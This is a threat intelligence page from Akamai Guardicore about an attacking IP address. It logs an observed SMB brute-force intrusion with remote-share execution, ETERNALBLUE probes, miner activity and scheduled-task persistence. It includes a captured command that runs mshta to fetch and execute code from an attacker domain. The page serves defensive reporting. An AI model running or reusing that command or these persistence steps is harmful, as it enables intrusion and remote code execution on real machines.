Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 58.58.45.158Previously Malicious

IP Address: 58.58.45.158Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Access Suspicious Domain IDS - Potential Corporate Privacy Violation CMD SMB Null Session Login Service Stop Successful SMB Login SMB File Operation By CMD IDS - A Network Trojan was detected SMB Share Connect Scheduled Task Creation Service Creation Inbound HTTP Request Download File Service Start Service Deletion Execute from Share Access Share DNS Query SMB Brute Force Outgoing Connection

Associated Attack Servers

-

Basic Information

IP Address

58.58.45.158

Domain

-

ISP

China Telecom Shandong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-03-08

Last seen in Akamai Guardicore Segmentation

2021-05-31

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 6 times

SMB Brute Force Successful SMB Login

C:\gqphnBAB.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\cpkusmzx.exe as a service named RjmU under service group None

Service Start Service Creation

C:\windows\temp\svchost.exe was downloaded

Download File

cpkusmzx.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\kcaucprr.exe as a service named hzfZ under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

kcaucprr.exe was executed from the remote share \\server-backup\c$

Execute from Share

IDS detected Potential Corporate Privacy Violation : Cryptocurrency Miner Checkin M2

IDS - Potential Corporate Privacy Violation

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

Service hzfZ was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\BWxOd.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Connection was closed due to timeout

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line c:\windows\EOnXvtp.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\mshta.exe generated outgoing network traffic to: 23.217.138.108:80

Outgoing Connection